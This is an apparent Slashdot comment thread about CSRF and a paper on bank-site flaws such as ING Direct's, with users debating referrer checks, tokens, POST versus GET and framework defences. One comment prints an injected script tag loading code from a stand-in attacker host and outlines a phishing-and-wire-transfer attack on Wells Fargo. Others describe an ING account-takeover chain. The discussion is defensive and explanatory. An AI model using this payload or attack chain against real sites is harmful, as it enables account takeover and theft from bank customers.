      I ended up having to remove the referrer check, because too many people were passing blank referrers. It's well-known that there are browsers or proxies out there which remove that, in the name of privacy or whatever. What I didn't know, though, is that a lot of nontechnical users are unknowingly using these privacy-protecting tools. Maybe they're being deployed as transparent proxies at large orgs or something, or maybe "strip referrer" is a default setting in some new sexy browser or something. I don't know. I don't really care either, because I just want to stop turning away users.

      Anyway, you can't count on referrer. That header effectively no longer exists.

      --
      "Believe me!" -- Donald Trump
    4. Re:Wouldn't a referrer check also counter this? by Cajun+Hell · · Score: 1

      I've used it to discourage address scrapers

      This is the kind of tactic that I just don't get. Unlike random session tokens, referrer-checking is an arms race that the other side can trivially win. The scraper writer just has to spend 2 minutes adding a pass-referrers feature to his program, and then for the next 10 years you get perfectly normal-looking requests. Sure, it might work a little and turn away some really old scrapers, but in the end you're going to get scraped anyway. So why bother?

      --
      "Believe me!" -- Donald Trump
    5. Re:Wouldn't a referrer check also counter this? by argent · · Score: 1

      Unlike random session tokens, referrer-checking is an arms race that the other side can trivially win. The scraper writer just has to spend 2 minutes adding a pass-referrers feature to his program

      Because it's virtually free to do and it DOES block some attempts. While it's possible some of them are scrupulous there's a LOT of traces in my logs from spidering software that is unimaginably sloppy. Basically, lots of them simply don't bother.. possibly because enough people figure that it's trivially defeated that they don't check referrers.

      After all, I don't have to outrun the bear.

    6. Re:Wouldn't a referrer check also counter this? by argent · · Score: 1

      What I didn't know, though, is that a lot of nontechnical users are unknowingly using these privacy-protecting tools. Maybe they're being deployed as transparent proxies at large orgs or something

      A lot of proxies drop referrers and user agents, yeh. There's proxies specifically for that.

      But they can only do that for plain HTTP connections. They can't look inside HTTPS.

  10. Hanlon's Razor by A+non-mouse+Coward · · Score: 5, Insightful
    I think Hanlon's Razor is in play here.

    Never attribute to malice that which can be adequately explained by stupidity.

    Don't assume these people don't care or don't want to fix it. CSRF is in the class of "WebAppSec" (what the kids call it these days) that is not "syntactic" in nature; meaning that you cannot just say "here, use this API and you're safe". It's a "semantic" problem; the developer has to both understand "how" sensitive transactions can be abused AND "how" these transactions can be fixed (like with a nonce).
    It's probably just that they don't know how to do it, at least not manageably on an average budget.

    --
    libertarian: (n) socially liberal, financially conservative; neither left, nor right.
    1. Re:Hanlon's Razor by Anonymous Coward · · Score: 0

      Why do people insist on spouting academic-techno-babble when the solution is soo damn simple. Choose one:

      1. Don't use cookies, pass state between all references
      or
      2. Check referer. If wrong or not set display home/default page.

      I'm sure you can write or find filters to handle #2 as pre-processing in the web server so your applications don't even have to be modified.

    2. Re:Hanlon's Razor by Fruit · · Score: 1

      Option 2 is not going to work:

      Can CSRF be prevented by implementing referrer checking?

      No. Referer headers can be spoofed using XMLHTTP and by using flash as demonstrated by Amit Klein and rapid7 and therefore cannot be trusted.

      (From The Cross-Site Request Forgery (CSRF/XSRF) FAQ.)

      On an unrelated note: whenever you check referrers, please allow for missing referrer headers so that I don't need to make my browser lie to you.

  11. Very easy by SanityInAnarchy · · Score: 3, Informative

    Ruby On Rails has prevented this, by default, for almost a year:

    http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html

    That not only prevents against the image hack, it also prevents against things like a hidden form in an iframe.

    Granted, it's still possible for you to do stupid things with GET requests, and it's possible you could turn it off entirely. But it's pretty trivial to stay safe here.

    And no, there's not really going to be a sane way for browsers to protect you from this, unless you've left on all the annoying "You are about to send data over the internet!!!1!one" warnings. This is really going to be up to site admins to fix.

    --
    Don't thank God, thank a doctor!
    1. Re:Very easy by Twigmon · · Score: 2, Insightful

      That unfortunately doesn't defend against GET requests. This means that if your script allows anything vulnerable to be requested via GET, then the 'image' attack vector is not protected. This includes when GET requests are supposed to be made via xmlhttprequest..

      It does defend against a form in a hidden iframe, however, you have to actually *use* it for your application to be protected.

      Regarding browsers fixing the problem, you are correct. It's very very unlikely that the developers of browsers will implement a message that says something like 'I am about to load an image with full url .... you you accept'.

    2. Re:Very easy by nacturation · · Score: 3, Funny

      Ruby On Rails has prevented this, by default, for almost a year...

      Nice boast, but I'll see your Ruby on Rails for almost a year and raise you a .NET viewstate for five and a half years. Go Microsoft!

      --
      Want to improve your Karma? Instead of "Post Anonymously", try the "Post Humously" option.
    3. Re:Very easy by SanityInAnarchy · · Score: 2, Informative

      My boast wasn't about Ruby, it was pointing out the trivialty of the problem.

      If Microsoft has actually done this, and done it right, for five and a half years, great! It means even less of an excuse for anyone to get it wrong.

      --
      Don't thank God, thank a doctor!
    4. Re:Very easy by SanityInAnarchy · · Score: 1

      That unfortunately doesn't defend against GET requests. This means that if your script allows anything vulnerable to be requested via GET, then the 'image' attack vector is not protected.

      Correct. That's why I mentioned "stupid things with GET requests", and why the page I linked to also links to some documentation about idempotence.

      Building an app on top of this, I don't think I've ever written a GET request that modifies anything it shouldn't.

      It does defend against a form in a hidden iframe, however, you have to actually *use* it for your application to be protected.

      True, but it is enabled by default in the new skeleton ApplicationController, and the whole secret key thing is negated by the new default cookie-based session store.

      So, you have to pay attention when porting an old app, but you should be paying attention when porting anything anyway. But when building a new app, you almost have to go out of your way to get this wrong. Either way, it's very easy to fix if you find yourself not using it.

      --
      Don't thank God, thank a doctor!
  12. Transfer money where? by z0idberg · · Score: 5, Informative

    including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account

    With my INGdirect account (in Australia) you can only transfer your savings back into your normal bank account that is associated with the ING account. So I don't think an an attacker could actually transfer money out to somewhere they could get it. Associating another bank account with the ING account requires more than just logging in to your ING account (phone/written permission etc. IIRC).

    The attacker would be able to cause some inconvenience and will get your bank account number etc. but I can't see how they would actually get your money.

    1. Re:Transfer money where? by corsec67 · · Score: 1

      The attacker would be able to cause some inconvenience and will get your bank account number etc. but I can't see how they would actually get your money.

      It shouldn't be that big of a risk, since those are the same numbers that are on a check.

      --
      If I have nothing to hide, don't search me
    2. Re:Transfer money where? by Xelios · · Score: 1

      The situation is similar in Germany with just about all internet banking. No money can be transferred online without inputting a 6 digit number called a TAN code. Whenever you run out you request another list of TAN codes from the bank which get sent to you by registered mail. When you transfer money through a bank's website it'll ask you for a random TAN code number (like "Enter TAN number 93"), once a TAN code is used it can't be used again. Each time I log into my bank's website it shows me the last TAN number used and the last time I was logged on.

      I've found banking security in general is better here than in North America. Sometimes at the expense of convenience. You can't make a deposit at a bank ATM here for example, all deposits have to go through a clerk.

      --
      Murphey's fighting Occam, and we're in the stands.
    3. Re:Transfer money where? by Anonymous Coward · · Score: 0

      The attacker could add accounts to your name at ING. Presumably they could make the new account a joint account. Then they could transfer the money to the other bank account associated with the joint account holder.

    4. Re:Transfer money where? by MrMunkey · · Score: 1

      The full numbers of the accounts are never displayed after you create an account. All they would get would be the last four digits.

    5. Re:Transfer money where? by Quince+alPillan · · Score: 1

      To your other account that they just created. According to the document, they created a new account in your name and put themselves as someone who could write checks on the checking account. They could then transfer all the money out they wanted to.

    6. Re:Transfer money where? by corsec67 · · Score: 1

      For a check or ING Direct?

      Answer:
      You are wrong.

      On both, the full account number is displayed, since that is what you need to use the account for an ETF or with a check.

      --
      If I have nothing to hide, don't search me
    7. Re:Transfer money where? by MrMunkey · · Score: 1

      I guess I was wrong about the ING account numbers, but I was mostly referring to the other account numbers. I just checked, and my other verified accounts I can transfer to do not show the full numbers, so I would not have to worry about my personal banking account number being discovered. I had to enter them when I set up the account, but they do not display that information after the initial setup. Obviously a check has the account number on it (as well as the routing number).

  13. CSRF little-known? by BitHive · · Score: 1

    Really? If your idea of "the web community" is people who rely on the code fragments at php.net to do their jobs, maybe.

  14. For those wondering by moniker127 · · Score: 1
    Translation: The idiot who set up the site left holes for post values.

    Honestly its not as complex as people describe it, atleast if its reffering to what I think its reffering to.

    You can exploit this type of vulnerability by viewing the source of the target website, figuring out how it works together, and writing up an html form. I use it to automatically log my self into a lot of secure web based tools I use at work without having to input login info.

  15. wrong tool by ewertz · · Score: 0

    We'll all be dead before the browser becomes a viable application platform. But thanks for playing!

  16. Big flippin deal by Jeffrey+Baker · · Score: 3, Interesting

    Any chump can transfer money out of any bank account with nothing but a fax. Try it some time. People don't do it because it's a felony and people generally don't want to go to prison.

    Also, there were several CSRF attacks that came across Bugtraq in 2000 and 2001. Some of them were against banks.

  17. Does this actually say anything? by Jane+Q.+Public · · Score: 1

    So... CSRF is vastly not understood or ignored by the Web community? Wow! How could that be? The article says exacly NOTHING about what it actually is, or how it is accomplished!

    Is it possible that this refers to Cross-Site Scripting? In which case, LOTS of people know about it, and while some sites may be vulnerable, most professionals are aware.

    If this is NOT cross-site scripting, then how is it different? The article says nothing about that. Is this a real alarm (in which case we need to know what this really is), or is it just a years-late warning about XSS?

    If there were ever a post that screamed for clarification, this is it.

    1. Re:Does this actually say anything? by Anonymous Coward · · Score: 1, Informative

      There's a direct link to the research paper in the summary. There's also a link in the first paragraph of the article. It says plenty, you just need to look. :)

      Is it possible that this refers to Cross-Site Scripting?

      No, the article states categorically that this is not cross-site scripting.

    2. Re:Does this actually say anything? by moniker127 · · Score: 2, Informative

      Its hard to tell, but my guess is that its regular old post values.

      Almost all forms on the internet are powered by the html tag. Inside of this , different fields are indicated by s.

      These inputs are either manipulated by javascript, or sent to another page. There are two ways to send them to another page with strait HTML.

      The first is called GET. It sends it by putting a ? on the end of the page, and then just listing the values. it will look like http://www.google.com?q=123 . q is the name of the field, 123 is the value of the field.

      The second is called POST. This sends the field values to the other page without displaying them in the address bar. This is the more common method.

      The attack they are reffering to is using your own input fields on your own web page to exploit specific holes in the design of the target website.

      For example: a page has a form asking you if you want to go to the main page, the news page, or the forum. When you select the news page from the dropdown, and submit the form, it sends you (and your choise of page) to a page that handels your request. The page that handels your request pretty much just says "Oh, i see you want to go to the news, well, here you go", and it redirects you there.

      But what if that page that handels the request knows other pages that just arent in the dropdown menu? well, if you want to go to those pages, you would write your own form, point it to the page that handels the request, and then make your own drop down that says you want to go to the "ubersecretwtfpwn" page. The page that handels the request says "Well, okay, here you go.", and sends you there. It has no idea its not normally an option for you.

      Short version: People roll their own forms to send false information.

    3. Re:Does this actually say anything? by moniker127 · · Score: 1

      Whoops, apparently it parsed my HTML tags. There are several parts in there where i meant to type in (without the dots).

    4. Re:Does this actually say anything? by moniker127 · · Score: 1

      GRR. It just takes out all tags. I meant to type in >form (with the arrows turned around)

    5. Re:Does this actually say anything? by sk89q · · Score: 1

      XSS is done on the target site. CSRF is done on a different site.

    6. Re:Does this actually say anything? by lysergic.acid · · Score: 1

      that has nothing to do with CSRF. if the other article is unclear, try reading the Freedom to Tinker article.

    7. Re:Does this actually say anything? by Anonymous Coward · · Score: 0

      Yeah that's because you're posting in "HTML Formatted" mode. So obviously html tags will not be visible, because that's how html works. But you can put something in that <looks like a html tag> if you want. You use &lt; and &gt; to make the less-than and greater-than signs. And you can use &amp; to put an ampersand.

      <see?> <It's> <easy!>

    8. Re:Does this actually say anything? by KGIII · · Score: 1

      As the AC pointed out you're in HTML format. I change the settings to always post in plain text. It is easier and paragraph breaks work better as well and you can still use HTML in it. I'm not sure if I did anything special or if it just likes me but it also automagically makes typed URLs links.

      --
      "So long and thanks for all the fish."
  18. RTFA! by Anonymous Coward · · Score: 0

    If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action.

    Of course, this exploit doesn't affect the servers at all. But then, you'd know that had you bothered to RTFA instead of rush out a next to useless message in a failed attempt to get first post.

  19. Stopping CSRF attacks by this+great+guy · · Score: 5, Insightful

    [A pseudorandom token] doesn't really stop it. All it does is reduce the problem to a cryptographic attack -- which is subject to brute force.

    Saying that is like saying "cryptography doesn't really provide privacy, because it is subject to brute force". Of course pseudorandom tokens stop CSRF attack (when implemented properly).

  20. irony by The+Clockwork+Troll · · Score: 3, Funny

    The unexpected conclusion of Zeller and Felton's paper is that the worldwide banking collapse is actually a protective measure against malware. With assets illiquid, even CSRF attacks can't move money!

    --

    There are no karma whores, only moderation johns
    1. Re:irony by shentino · · Score: 1

      A pity it's too much like curing the disease by killing the patient.

  21. Thanks, your reply deseerves to be modded up. by Jane+Q.+Public · · Score: 1

    I followed the links and I see how this works. (FYI, the phrase is "uncategorically", not "categorically", and probably had no relevance here. I think you meant "specifically".)

    In any case, even if I am wrong in that, thanks for pointing me in the right direction. I understand now that it is different.

  22. Re:Wouldn't a referer check also counter this? by lysergic.acid · · Score: 1

    your comment suggests that you don't understand what a CSRF attack is.

    http referer can be intentionally spoofed by an untrusted browser, but a CSRF attack is executed by an untrusted page on a trusted browser. in this case the server is not the target, the user is. the attacker's page can cause the victim's browser to make a forged GET or POST request without the user's knowledge, but the request headers are still set by the browser, and thus cannot be altered by the attacker.

    if you were using http referer to prevent a user from accessing a restricted page, then of course that can be spoofed since the user would be the attacker, and the server the target. but that is completely unrelated to CSRF attacks.

  23. Pump and Dump Schemes by ddebrito · · Score: 1

    You don't even need read cookies to exploit
    this feature.
    This technique is probably used in stock fraud
    pump-and-dump schemes. Google Finance has a
    trend display that shows the most "popular"
    stock base on the the Gooogle Trend technology.
    Fraudsters probably popularize stocks they've
    purchased by seeding web sites with images that
    search Google for the company name of the stock.
    As more folks search the company, the stock
    becomes more popular. As it get popular it gets
    more eyeball looking at it and investing in it
    who ever invested in a stock they didn't
    hear off?). The stock goes up. The fraudsters
    dump the stock.

  24. Re:Wouldn't a referer check also counter this? by pavon · · Score: 1

    The referrer can be spoofed using javascript (XMLHttpRequest), and thus cannot be depended on even with trusted browsers.

  25. Re:Wouldn't a referer check also counter this? by lysergic.acid · · Score: 2, Informative

    hrmm... i was not aware of this. i thought XMLHttpRequest could not be executed across domains. this seems like a pretty serious security design flaw.

    i mean, shouldn't the same origin security policy prevent XMLHttpRequest from making requests across domains? i remember when i wrote AJAX applications in the past that i couldn't even call XMLHttpRequest on a subdomain.

  26. Unsurprising by karmatic · · Score: 4, Informative

    This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.

    So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.

    So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.

    So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.

    I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.

  27. NOT "flamebait". Criticism. by Jane+Q.+Public · · Score: 0, Offtopic

    There is a difference, after all. Do you feel that you are qualified to be a censor??

  28. Then browser vendors should change the message by Anonymous Coward · · Score: 0

    Instead of web developers trying to escape seeing that message by trying to turn GET into a half-working POST, browser vendors should change the error message to make it clearer, if necessary. For what it's worth, I'm browsing using IE at the moment and its message is clear enough, and I suspect the same to be true on other browsers, so I suspect you're doing a lot of work creating a hackish workaround for a non-problem. Although I must say that the error message would be clearer if the browser were to display a little bit more information, like the form and perhaps a link to a help page explaining the topic properly.
    P.S. I'm assuming you're talking about the browser messages. I've also seen server messages like that, but as a web developer you can change those, so you're not talking about that, I hope.

  29. And they don't by Anonymous Coward · · Score: 0

    And the ING site doesn't change anything with GET requests. They only use POST requests. Read the FA :-)

  30. Er... this stops nothing by brunes69 · · Score: 3, Insightful

    Changing GET to POST does not, in any way shape or form, protect you from a CSRF attack.

    If you think it does and have been doing this on your own site or projects, you have some more research and work to do.

    All changing GET to POST does is make it a tiny bit harder for Joe n00b hacker. But anyone with half a clue knows how to use JS to do CSRF using POST requests.

    1. Re:Er... this stops nothing by risikofaktor · · Score: 1

      Well, I know that only a kind of token can protect you from CSRF. But checking for POST can make it harder because now Javascript has to be involved or at least clicking on a submit button by hand. As I have Javascript turned off on all unknown pages the chance for CSRF is much lower (for sites that check for POST). yes, again, that should not be the only protection... The problem is that this attack is difficult to understand, and most web developers are happy that they managed to understand how to avoid SQLI and XSS. But CSRF has to be mentioned, so spread the word.

  31. Parent +5 Re:Computer systems need security audits by Anonymous Coward · · Score: 0

    I use [the Post Redirect Get] paradigm 100% of the time.

    Likewise, both for the ease for a user and for the cleanliness of the UI. I _know_ what the program is going to do at any given point. There have been many good articles on the PostRedirectGet pattern. The argument against it is the increase in bandwidth. However, considering the rather small size of gets and redirects, compared to the mass of a post or full-page response, this is chump change.

  32. great! by hesaigo999ca · · Score: 1

    Now more stocks will plummet because of this article , and my ING banking portfolio is OUT the window!

  33. Brute force CSRF? WTF?! by Cajun+Hell · · Score: 1

    Send a pseudorandom token with every form

    As far as I can tell, that's the only solution that doesn't rely on Javascript shenanigans, but it doesn't really stop it. All it does is reduce the problem to a cryptographic attack -- which is subject to brute force.

    The nature of CSRF is that one of your legit users has to be a party to the attack (of which the are ultimately the victim), though. Is one of my users going to click a CSRF-exploit link 4 billion times in a row, where each attempt displays a page that says "hey, someone just tried to gain access to your account through a CSRF attack"?

    Ugh, don't answer that. ;) But seriously: bullshit.

    --
    "Believe me!" -- Donald Trump
  34. The Webspider of Doom by DrYak · · Score: 1

    What is a bad idea is a link that will add someone as a friend or delete a picture, you get the idea.

    no, not necessarily.

    No, it is.

    you could simply add the session ID as one of the necessary GET parameters, and redirect the client afterward, so as to not display the URL with the session ID to her, lest she copies and pastes it to someone.

    But, nonetheless, a simple link on that page could destroy the data.
    - Could be some web spider (unless also, a FORM is required to log-in before being issued the required session id. Otherwise, it will just be like all those "&sid=" that you see in google result URLs)
    - A user could be download a whole website to keep a copy on his computer and use a plugin (which download everything recursively) instead of manual opening/saving everything. The user could very well be logged and thus have a valid session ID. (Even more so if the user wants to back up a website hidden behind a password).
    - Could be one of the various caching system that pre-caches all the linked pages on a viewed page by pre-retrieving all the URLs of some page.
    - Could be one antivirus - like AVG - which pre-scans all pages linked from the currently displayed one
    - etc...
    All this system will blindly follow any link on a page, including a "delete link" and if the user has logged previously, will have a valid session ID.

    The way web was designed, a link is just a damn *hyper-link*. Its just serves to enable one to jump from one document to another. Nothing more.
    Forms is what was designed to communicate information to a webserver.

    Yes we can bend a little bit some rules and put a couple of parameters in a GET request (to specify which information to display on a dynamic site). But fundamentally it still the "link as a way to reach one page of informations from another" approach.

    *ALWAYS* keep in mind which way things are designed, because otherwise, you will very likely end up running into some situation which assumes the classical design (links moves, never edits) and may break your site.

    NEVER PUT ANYTHING IN A LINK THAT MODIFIES DATA. NEVER. EVER.

    this simplifies development, because you don't need a form to let the user perform actions.

    Going through complex protections to avoid false triggers isn't exactly what I would call "simplifying".

    POST just makes it a bit harder to do (e.g., [img] tags in a forum software won't suffice)

    Well, forms (be it with GET or POST request) essentially diminish the risk of *accidentally triggering* some action.
    They require intent (either conscious intent from the user who clicks or malicious intent from the cracker who writes a script which exploits the function), no risks to break anything by error.

    It doesn't stop script kiddies, its stops legitimate spiders triggering dangerous actions by mistake.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re:The Webspider of Doom by Anonymous Coward · · Score: 0

      Or to summarize Dryak:
      "Fatalis- You, sir, are an idiot, and the type of person who makes sites which are vulnerable to this type of exploit."

      Any time I hear "But but but the other way is easier & simpler" I know who was sleeping in CS class & lacks serious skills. Sadly, many web 'developers' these days subscribe to the method that is easiest, and usually the most error and exploit prone.

    2. Re:The Webspider of Doom by jimdread · · Score: 1

      NEVER PUT ANYTHING IN A LINK THAT MODIFIES DATA. NEVER. EVER.

      What about if you're running a stock market price website? In your database, you store some html pages for each ticker symbol. When the user goes to http://example.org/stocks/get-latest/ENRON it checks if the last update time on the pages in the database is more than 1 minute ago. If the pages are less than one minute old, it serves the pages from the database. If the pages are more than 1 minute old, it gets the new stock data from the stock database, and makes new pages and puts them in the page database. Then it serves the fresh pages.

      Using the link might modify the data, by making it up-to-date. What would you do? Program it so that the user has to submit a form to get current data, or they can only get old data if they got there by a link? Why can't they just follow a link to get the information they want? Obviously you would want to make the user submit a form, since you said "NEVER! EVER! EXTERMINATE! EXTERMINATE!". Look! Yahoo's doing it!

  35. Re:Brute force CSRF? WTF?! by Curien · · Score: 1

    Is one of my users going to click a CSRF-exploit link 4 billion times in a row[...]?

    Of course not. But a Javascript snippet on a site they were tricked into visiting might.

    --
    It's always a long day... 86400 doesn't fit into a short.
  36. Anywhere (RTFA) by dereference · · Score: 1

    The PDF described the attack in detail. The attacker opens a new ING account in your (logged-in) identity, transfers any amount of your money from your personal linked account into "your" new ING account, adds any arbitrary payee (the attacker's own ING account, opened previously), then transfers funds from "your" new ING account to the attacker's ING account. They say it's been fixed, but please don't presume this wasn't a major issue.

  37. NoScript by jroysdon · · Score: 1

    Will Firefox w/NoScript installed block this sort of misbehavior?